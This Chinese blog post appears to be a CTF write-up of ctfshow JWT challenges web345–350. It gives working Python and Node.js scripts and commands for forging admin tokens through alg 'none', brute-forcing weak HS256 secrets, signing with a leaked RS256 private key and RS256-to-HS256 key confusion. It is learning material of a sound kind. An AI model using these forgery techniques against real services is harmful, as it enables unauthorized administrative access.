CTFSHOW jwt篇

ctfshow——JWT 抓个包,可以看到cookie部分使用JWT(Json Web Token)。 先用base64将JWT进行解密,修改为admin,再用base64进行加密。再访问 这里使用了HS256加密方式,方法:alg字段改为,sub改为,对每一段分别用base64进行加密,然后用拼接起来,注意最后一个点不能少。都可以用jwt-cracker进行爆破,获取密匙。或者用脚本跑。 web 349——非对称加密算法RS256私钥泄漏 根据提示,大致意思就是访问,服务器会使用RS256算法私钥加密一段字符串作为cookie 阅读详情

可以先了解下jwt
jwt由三部分组成header、payload、signature
header示例

{
  'typ': 'JWT',
  'alg': 'HS256'
}

payload示例

{
  "sub": "1234567890",
  "name": "John Doe"
}

signature
jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
header (base64编码)
payload (base64编码)
secret(密钥)
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

这三部分用.连接起来就是完整的jwt了。

jwt攻击参考文章https://xz.aliyun.com/t/2338

web345

jwt解密网站https://jwt.io/
这个题我们解密发现他没有第三部分,所以也就用不着知道他的密钥了。直接每一部分base64然后用.连接就可以了。
第一部分{"alg":"None","typ":"jwt"}base64编码后是eyJhbGciOiJOb25lIiwidHlwIjoiand0In0(去掉等号)
第二部分[{"sub":"admin"}]base64编码后是W3sic3ViIjoiYWRtaW4ifV0
所以把原来的jwt修改为eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0然后访问/admin即可

web346

将算法改成none,user改成admin

import time
import jwt

# payload
token_dict = {
  "iss": "admin",
  "iat": 1610432484,
  "exp": 1610439684,
  "nbf": 1610432484,
  "sub": "admin",
  "jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
					 key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
 					   algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

利用解密网站将user改成admin,然后拿着新生成的jwt替换原来的,再去访问/admin就能得到flag

web347

密钥是123456(猜的)
在这里插入图片描述

web348

利用jwt爆破攻击爆破
下载地址https://github.com/brendan-rius/c-jwt-cracker具体安装方法文档中有。
使用方法 ./jwtcrack jwt
在这里插入图片描述
爆破出来密钥是aaab,剩下的跟上面的一样了。

web349

利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以了。
访问/private.key得到私钥
运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

修改jwt后post方式访问就可以得到flag
或者python代码

import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
# python2运行

web350

访问/public.key获得公钥
jwt攻击参考文章https://xz.aliyun.com/t/2338
这个题是利用的第三种
在这里插入图片描述

exp:

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

jwt库要用题目给的源码中的,就是要保证版本一致。

ctfshow-jwt 将信息进行安全的封装,以json的方式传递三部分分别是:Header{'typ': 'JWT' token类型'alg': 'HS256' 算法名称}将这个信息进行base64加密,构成了第一部分payload载荷,存放主要信息的地方{"sub": '1234567890', 标准中注册的声明"name": 'john', 公共的声明"admin" :true 私有的声明}base64加密,得到jwt第二部分第三部分Signature签名签名是将加密后的header和payload用点拼接,再将结果通过He 阅读详情

相关推荐

ctfshow jwt web入门

jwt令牌由三部分组成,由分割header示例payload示例。

2301_81040377的博客 841

ctf_show笔记篇(web入门---jwt)

JSON Web Token(JWT)通常由三部分组成简单地说jwt就是一串字符串,类似于序列化这种,把用户的信息保存在字符串里JWT全称是,如果从字面上理解感觉是基于JSON格式用于网络传输的令牌。实际上,JWT是一种紧凑的Claims声明格式,旨在用于空间受限的环境进行传输,常见的场景如HTTP授权请求头参数和URI查询参数。JWT会把Claims转换成JSON格式,而这个JSON内容将会应用为JWS结构的有效载荷或者应用为JWE结构的(加密处理后的)原始字符串,通过消息认证码(或者简称MAC。

whale_waves的博客 2122

[CTFSHOW]JWT

文章目录前言JWT简介CTFSHOW Web345CTFSHOW Web346前置知识开始做题CTFSHOW Web347CTFSHOW Web348CTFSHOW Web349CTFSHOW Web350前置知识利用WP如何防御 前言 有些师傅向我咨询WP,索性就发了吧,其实早就写好了,只是懒,在github仓库里囤着 JWT简介 可以看看我的Github总结给自己看的,Y4tacker CTFSHOW Web345 首先打开题目,查看源码,接下来访问/admin被跳转回主页啥也没有发生 where is

Y4tacker的博客 6044

ctfshow web入门 JWT

web345 打开题目先F12看一下源码发现一个admin目录,然后抓包看见cookie里面有jwt 然后将jwt进行base64解密,然后将解码后的user换成admin 再进行base64加密,然后抓包访问admin目录,之后将刚才生成的jwt,替换cookie里的jwt然后发包拿到flag 这里只需要注意访问的是/admin/而不是/admin因为访问/admin表示访问admin.php而访问/admin/表示访问的是admin目录下默认的index.php web346 这.

Anton1a的博客 4846

ctfshow—jwt详解

web345(无加密) 进入后F12,发现提示/admin 要注意使用 url 访问网页时 /admin 表示访问 admin.php 文件 /admin/ 表示访问 admin/目录下的文件,默认是 index.php 很像文件夹,所以此处应该访问 /admin/ 查看cookie eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2MzI0OTc1MDksImV4cCI6MTYzMjUwNDcwOSwibmJmIjox

cosmoslin的博客 2624

ctfshow-jwt-345-350

直接私钥签名,生成jwt后,将get方法改成post(有审计代码可知)发包得flag。在jwt.io中修改密钥(弱口令猜一下123456),改一下admin即可。当然,只交改了的部分也行 ,即[{"sub":"admin"}]的编码。下面这博客,是在values改的,也是只能交payload才行。上面是使用脚本,其实直接一段一段修改后base64编码拼接就好了。这里我是在values实现的,bp不知道卡了还是怎么滴,没出来。之后就没什么说的了,直接替换cookie就行。访问路由,发现此题只有公钥泄露。

2301_80915592的博客 942

Ctfshow web入门 JWT篇 web345-web350 详细题解 全

Ctfshow web入门 JWT篇 web345-web350 详细题解 全

Jay17的博客 4782

Gitlab+Jenkins+Docker+Harbor+K8s+Rancher集群搭建CICD平台

本文以诺依项目为例详细记录了Kubernetes集群的部署过程以及配套DevOps环境的搭建。主要内容包括:1) 配置8个节点的软硬件环境;2) 基础环境准备(网络、防火墙、Docker等);3) 三节点Kubernetes集群部署;4) GitLab代码仓库安装;5) Harbor私有镜像仓库搭建;6) Jenkins持续集成工具配置;7) 基于若依项目的CI/CD实践;8) Rancher集群管理工具部署。

hickman2023的博客 1201

ctfshow - web - JWT

这篇摘要总结了JWT安全测试的五个典型场景: web345:修改JWT头部算法为HS256绕过加密检测 web346:将算法改为none并修改payload为admin身份 web347/web348:通过字典爆破JWT弱密钥 web349:利用泄露的私钥伪造管理员token web350:将RS256算法替换为HS256,利用公钥作为对称密钥 核心攻击手法包括:算法替换、密钥爆破、公私钥利用,均需配合修改请求方法(POST)和用户身份(admin)。

绘梨衣の沉默的博客。主要是CTF竞赛,网络安全,渗透测试,HVV,以及学习到的各种知识的分享 1242

QCC5125/QCC5144----LDAC 44.1K 48K 96K 192K 输出

QCC5125/QCC5144----LDAC 44.1K 48K 96K 192K 输出。而且还不需要license限制。

Alex_886的博客 1975

优化Cartographer重定位速度:从子图筛选到参数调优的完整思路

本文详细介绍了优化Cartographer重定位速度的完整方法,从子图筛选到参数调优,帮助工程师在已知初始位姿的前提下将重定位耗时降低50%以上。重点分析了性能瓶颈、子图筛选策略、匹配算法选择及环境自适应的参数优化策略,并通过实战案例展示了显著效果提升。

weixin_28704565的博客 463

CTFshow JWT

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,该规范允许我们通过JWT在用户和服务器之间安全可靠地传递信息。

starttv的博客 631

企业级 Agent 在 K8s 上的运行模型

Kubernetes├── Agent Orchestrator(控制面)├── Agent Runtime Pods(执行面)├── Graph DSL(流程层)├── Tool Services(能力层)K8s(调度)+ Graph(流程)+ Agent(决策)+ Tool(执行)+ Guard(治理)

一起修行,不孤单。这里有编程语言、开发工具、学习方法论和踩坑笔记。用简单的话说复杂的事,陪你从小白到进阶。周更干货,欢迎一起成长! 1172

CTFshow-jwt(345-350)-WP

可以根据公钥,修改算法从 非对称算法(比如RS256) 到 对称密钥算法(HS256) 双方都使用公钥验签,顺利篡改数据 当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密 实现验签通过。将要破解的jwt字符串复制放入string.txt中,并将其放入脚本工具的同一级文件夹,然后cmd进入命令行,输入命令;可以看到,题目把私钥和公钥放在了web目录,我们访问就可以直接下载,造成了私钥公钥的泄露;有了公钥和密钥直接拿到在线工具,用公钥解码,修改user为admin,在用密钥编码签名;

2501_92123460的博客 1784

小新学习K8s第一天之K8s基础概念

kubernetes是一个可移植,可扩展的开源平台,用于管理容器化工作负载和服务,有助于声明式配置和自动化。它拥有庞大且快速发展的生态系统。kubernetes服务,支持和工具随处可见。作用:用于自动部署,扩展和管理“容器化应用程序”的开源系统。可以理解成k8s是负责自动化运维管理多个容器化程序(比如docker)的集群,是一个生态及其丰富的容器编排框架工具。

pangdongqiqi的博客 1228

如何将 Fiori Elements Object Page Header 工具栏里按钮用 JavaScript 代码设置成禁用状态

本文介绍了如何在SAP Fiori Elements应用中动态控制Object Page工具栏按钮的可用状态。通过UI5 Inspector工具分析发现,这些按钮的enabled属性都双向绑定到/ui/enabled模型字段。在StatusExt.controller.js中,通过获取按钮ID前缀拼接完整控件ID,使用setEnabled(false)方法即可禁用按钮。关键点包括:1)使用extensionAPI获取视图ID前缀;2)注意事件回调中的this上下文绑定;3)通过修改模型字段可同步更新所有绑定

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 370

jwt复习及ctfshow做题

使用JWT作为身份认证的优势在于:它不需要在服务端去保留用户的认证信息。当用户访问主页时,服务器读取当前工作目录下的public/private.key私钥文件,使用该私钥对用户信息(这里仅为user: 'user')进行加密签名生成JWT令牌,并将这个令牌作为名为auth的cookie设置在响应中。Signature部分是一个签名信息,需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密。

m0_74402888的博客 1192

UG\NX二次开发 判断对象是虚线还是实线

网友提问“怎么区分虚线实线”,这个可以通过函数判断。

王牌飞行员_里海的博客 357

CTFSHOW JWT实战:Web权限绕过核心思路与工具链

JWT(JSON Web Token)是一种广泛用于Web身份认证的开放标准,其安全性依赖于签名算法、密钥管理及服务端校验逻辑。理解JWT的Header.Payload.Signature三段结构与Base64Url编码特性,是分析鉴权漏洞的基础;而实际渗透中,关键在于识别alg篡改、none伪造、kid注入等常见绕过路径,并结合Burp Suite Intruder的精准编排与jwt_tool的定向爆破形成闭环。技术价值体现在无需源码即可逆向推导服务端校验策略,适用于CTF实战、红队打点及开发自检。本文聚

weixin_30588675的博客 2464

关于 Nginx 监听地址 0.0.0.0 的详细解释

0.0.0.0在Nginx配置中表示监听服务器所有网络接口(包括公网IP、内网IP和本地回环地址),这是默认配置。当使用listen 80;时,Nginx会接受通过服务器任何IP地址的80端口访问请求。相比只监听特定IP,这种配置更通用,但也意味着服务会对外网开放,需注意安全风险。可通过netstat命令验证监听状态,显示0.0.0.0:80即表示正确配置。

weixin_43674738的博客 1566

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

【CTFSHOW】web入门 JWT

文章目录写在前面JWT浅析web345web346web347web348web349web350参考资料 写在前面 陇剑杯初赛出了JWT专题的赛题,被同队大佬ak了,一直不太懂,来刷刷 JWT浅析 JWT即JSON WEB TOKEN,由三个部分组成,并用两个“.”进行连接。第一部分为header(base64加密),第二部分为payload(base64加密),第三部分为verify signature,它的构成如下: HEADER中alg对应的加密方式为HS256,也可以选择其他对称或非对称的加密方

7ruth0hn的博客 1502

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

JWT学习(ctfshow web入门jwt)

jwt介绍 ctfshow web入门jwt web345 工具:burp suite,jwt在线解码工具链接 分析:首先看到提示/admin 访问抓包,看到auth,实际上就是jwt: 然后,用在线工具解码:

qq_45766062的博客 1574

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

CTFSHOW元旦2025

ctfshow元旦杯2025

c582037的博客 5666

ctfshow jwt学习

JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为JSON对象。此信息可以被验证和信任,因为它是数字签名的。JWT可以使用秘密(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。Header报头Payload有效载荷Signature签名因此,JWT通常看起来如下所示。Header报头Payload有效载荷iss:发行人exp:到期时间sub:主题aud:用户。

hcja666的博客 1327

ctfshow JWT 专题

title: ctfshow JWT 专题 date: 2020-12-29 15:31:47 categories: ctfshow csdn随缘更新了 JWT(json web token)跨域认证解决方案,入门教程 web345 web346 web347 web348 web345 没加密,直接伪造,推荐网站:https://jwt.io/ web346 有加密,不能爆破,改算法为none,sub为admin即可 web347 弱口令,盲猜:123456 web348 C语言爆破工具 .

会下雪的晴天 762

从CTFshow web345到350:手把手复盘JWT题目,用JWT_GUI工具避坑全记录

本文详细解析了CTFshow平台web345到350系列JWT题目的实战攻防技巧,重点介绍了JWT_GUI工具在加解密、None攻击和密钥爆破等场景的高效应用。通过具体案例演示如何避开常见陷阱,提升CTF竞赛中的JWT题目解题效率,特别适合Web安全爱好者学习参考。

weixin_30466039的博客 503
上一篇: CTFSHOW xss篇
下一篇: CTFSHOW SSRF篇
yu22x
博客等级 码龄7年 3738粉丝 121原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值